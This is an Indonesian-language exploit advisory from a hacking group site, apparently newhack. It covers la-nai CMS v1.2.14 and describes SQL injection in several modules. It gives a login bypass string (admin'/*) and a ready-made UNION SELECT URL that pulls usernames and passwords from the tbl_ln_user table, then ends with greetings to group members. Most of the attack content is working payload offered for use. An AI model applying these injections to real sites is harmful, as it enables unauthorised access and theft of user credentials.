########################################################################
########### newhack[dot]org ############ ########################################################################
la-nai cms_v1.2.14 - Remote SQL Injection
Location : Indonesia
########################################################################
bug terdapat pada la-nai module
tested modules
-faq
-gallery
-ezshopingcart
dan kemungkinan terdapat pada module lainnya,
pada login site halaman depan, authentikasi login dapat di bypass
dengan menggunakan username yang terdapat pada database la-nai tbl_ln_user
dengan memberikan '/* contoh admin'/* <– magic_quotes_gpc = off
########################################################################
exploit;
FAQ Modules
http://localhost/lanai-cms_v1.2.14/module.php?modname=faq&mf=faqviewgroup&mid=1/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,2,userLogin,userPassword,5,6,7/**/FROM/**/tbl_ln_user/*
all member newhack[dot]org
iFX, matdhule, nyubi, x-ace, and to all my friend
Sedih ngga bisa ikut PANHAC, titip salam aja buat temen2 yang ikut PANHAC